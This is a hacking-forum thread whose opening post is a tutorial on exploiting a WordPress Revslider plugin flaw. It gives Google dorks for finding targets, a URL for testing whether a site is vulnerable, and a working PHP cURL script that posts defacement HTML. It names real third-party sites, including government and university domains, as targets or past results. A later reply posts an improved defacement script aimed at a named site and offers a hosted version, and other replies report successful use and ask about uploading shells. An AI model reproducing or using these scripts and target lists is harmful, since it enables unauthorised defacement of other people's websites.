

Forum:[Hack Forums](#)

Thread: [\[WordPress Hacking Tutorial:\]>_300,000+ Vulnerable Websites_\[/ Revslider Plugin\]](#)

mObile - March 28, 2015, 4:06 pm

[img]http://www.techexquisite.com/wp-content/uploads/2015/03/WordPress-plugins.png[/img]

Another critical vulnerability was found this week in the popular Revslider Plugin. The bug is triggered by sending POST request to PHP Code

```
<?php
admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
with following parameters;
```

PHP Code

```
<?php
array("action" => "revslider_ajax_action","client_action" => "update_captions_css", "data" => "HTML-Update-Data");
```

Source:

<http://blog.securelayer7.net/wordpress-plugin-revslider-update-captions-css-file-critical-vulnerability/>

With that being said, let's exploit it, shall we?

[img]http://www.leodairy.com/Slider%20Revolution/examples&source/images/logo.png[/img]

[img]http://www.simunomics.com/Images/Tutorial.GIF[/img]

1.) Google Dorks:

PHP Code

```
<?php
inurl:wp-content/plugins/revslider/
inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"
inurl:/admin-ajax.php?action=revslider_ajax_action
inurl:revslider
inurl:revslider_admin.php
inurl:revslider_front.php
inurl:plugins/revslider/
intext:Powered by Revslider
intitle:"Index Of/ revslider"
intitle:"Index Of/wp-content/themes/revslider"
intitle:"Index Of/wp-content/plugins/revslider"
intitle:"Index Of/admin/revslider"
intitle:"Index Of/fr/revslider"
intitle:"Index Of/en/revslider"
intitle:"Index Of/us/revslider"
intitle:"Index Of/ar/revslider"
intitle:"Index Of/es/revslider"
intitle:"Index Of/de/revslider"
```

These are just a few, use your brain to find more.

2.) Searching for Vulnerable sites:

To find vulnerable sites, add this code to the end of your target.

PHP Code

```
<?php
```

```
/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
```

If the site is vulnerable you will see something like this;

Otherwise you'll see this;

EXAMPLES:

PHP Code

```
<?php
```

http:

```
//www.thyregod.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
```

PHP Code

```
<?php
```

http:

```
//www.korteklaren.be/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
```

3.) How to exploit:

From a webshell or web hosting site that supports php, create a .php file and enter the following script.

PHP Code

```
<?php
```

```
$post = array
```

```
(
```

```
"action" => "revslider_ajax_action",
```

```
"client_action" => "update_captions_css",
```

```
"data" =>
```

```
"x<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by YourName<br><p style='color: transparent'>"
```

```
);
```

```
$ch = curl_init ("http://localhost/wp-admin/admin-ajax.php");
```

```
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
```

```
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
```

```
curl_setopt ($ch, CURLOPT_USERAGENT,
```

```
"Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
```

```
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
```

```
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
```

```
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
```

```
curl_setopt ($ch, CURLOPT_POST, 1);
```

```
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
```

```
$data = curl_exec ($ch);
```

```
curl_close ($ch);
```

```
?>
```

then edit the underlined code and save;

```
Quote:"data" => "x<body style='color: transparent;background-color: black'><center><h1><b  
style='color: white'>Hacked by YourName<br><p style='color: transparent'>"
```

```
Quote:$ch = curl_init ("http://localhost/wp-admin/admin-ajax.php");
```

EXAMPLE:

then execute script for results.

4.) Path to Results:

PHP Code

```
<?php
```

```
http:  
//www.target.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captio  
ns_css
```

EXAMPLES:

PHP Code

```
<?php
```

```
http:  
//srsh.gov.al/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_cs  
s
```

PHP Code

```
<?php
```

```
http:  
//skydeck.berkeley.edu/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_  
captions_css
```

Demos:

PHP Code

```
<?php
```

```
http://eilanhotel.com/  
http://thecrawfordhotel.com/  
http://maxtrack.com.br/  
http://easysolutions.co.jp/
```

http://chesterford.co.jp
http://mediahub.jp
http://ciruela.jp

There are over 300,000+ WordPress sites that use this plugin, so you should have no problem finding vulnerable websites. ?

Source:

<http://www.google.com>

Mess - March 28, 2015, 5:31 pm

Can this be used to change the full website? Not just the url ending 'wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css' but the proper homepage?

Monyaks - March 29, 2015, 12:21 am

Nah, it just gives you the option to inject text via cross scripting to the specific page.

Note to the OP - Great Job !

nix0rrrr - March 29, 2015, 3:34 am

If google would be so bitchy with that captcha thing i would write a scanner

Stoner. - May 31, 2015, 3:23 am

Took the liberty to code a better PHP script:

PHP Code

```
<?php
<title> Wordpress hacker </title>
<?php
$post = array
(
"action" => "revslider_ajax_action",
"client_action" => "update_captions_css",
"data" =>
"x<body style='font-family: arial; background-color: black'><center><h1><b style='color: red'>Name
Here<br><p style='color: xransparent'>"
);
echo
"<center><b style='color:red; font-family: arial;'>Status: Started...<br><hr style='width: 30%;'></b></
center>";
$url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php";
$ch = curl_init ($url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT,
"Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
```

```
curl_close ($ch);
echo "<center><b style='color:red; font-family: arial;'>Status: Finished<br></b></center><br>";
echo "<center style='font-family: arial;color: red;'>The url ", $url,
" has been updated. Click <a style='color:black; font-family: arial; text-decoration: none;' target='_blank' href='$url
?action=revslider_ajax_action&client_action=get_captions_css'>here</a> to see.</center>"
?>
```

What's updated:

All you have to do is put the vuln link into the \$url line, for ex:
\$url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php";
and the the rest of the code does all that work, change text as normal.

Example here:[s.php](#)

-RENWA - May 31, 2015, 4:28 am

thank u but i got 0 with some sites

BETERZ - May 31, 2015, 5:16 am

I'm gonna try on a site that looks great

D44n - May 31, 2015, 5:51 am

Lol worked for me. Thanks in advance!

4nirudh420 - June 1, 2015, 5:44 am

thank u but i got 0 with some sites what to do ???

Jallu - June 1, 2015, 7:46 am

Is there a way to upload a shell using this?

x4151rch - June 1, 2015, 8:51 am

(Jun 1, 2015 05:44 AM)4nirudh420 Wrote: [\[CITE\]](#) thank u but i got 0 with some sites what to do ???
You can't do anything with it. Most likely, Rev Slider was already uninstalled or deactivated on those sites. Better keep looking for another target.

Stoner. - June 1, 2015, 11:51 pm

I added the script and modified it so you can do it from my site: <http://grep.li/wp>

(May 31, 2015 03:23 AM)Munchies. Wrote: [\[CITE\]](#) Took the liberty to code a better PHP script:
PHP Code

```
<?php
<title> Wordpress hacker </title>
<?php
$post = array
(
"action" => "revslider_ajax_action",
"client_action" => "update_captions_css",
"data" =>
"x<body style='font-family: arial; background-color: black'><center><h1><b style='color: red'>Name
Here<br><p style='color: xransparent'>"
);
echo
"<center><b style='color:red; font-family: arial;'>Status: Started...<br><hr style='width: 30%;'></b></center>";
```

```
$url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php";
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT,
"Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo "<center><b style='color:red; font-family: arial;'>Status: Finished<br></b></center><br>";
echo "<center style='font-family: arial;color: red;'>The url ", $url,
" has been updated. Click <a style='color:black; font-family: arial; text-decoration: none;' target='_blank' href='$url
?action=revslider_ajax_action&client_action=get_captions_css'>here</a> to see.</center>"
?>
What's updated:
All you have to do is put the vuln link into the $url line, for ex:
$url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php";
and the the rest of the code does all that work, change text as normal.
```

Example here:[s.php](#)

bradjose - July 5, 2015, 11:39 pm

@Munchies bro you site not opening here :(

Rohid - July 11, 2015, 4:43 pm

Hey bro, where I put my create php file then I don't understand please give me its solutions.

Infinity. - July 12, 2015, 1:30 pm

I'll try this once I come back from station.

Thanks brother! You're the best in this.

pastorio - July 12, 2015, 5:59 pm

only for zone-h?

which is grace?

?

lhax1225 - July 13, 2015, 3:55 pm

What are the limitations of this? Just html, can you upload php/whatever? How would you go about uploading alternate code in the data section?

EmailingExpert - July 13, 2015, 10:01 pm

Very nice tutorial. Keep it up . very useful share

EmailingExpert - July 16, 2015, 6:00 am

this is such a awesome share , hope. it would help many of us

perllo_ballack - July 16, 2015, 4:37 pm

what's is wrong

webchinupload.com/f/2015-07/9d1cb7dca0cec80d34f8ad6922f8c3f2.png

the wrong is here ,

Quote:curl_setopt (\$ch, CURLOPT_FOLLOWLOCATION, 1);

but i used on mac , does it work on mac ?

R^ptor - July 20, 2015, 8:13 pm

Very easy. Good for users from zone-h. Going to play around with the php code to see if I can get it to do a full website deface. First I gotta get to learn how this works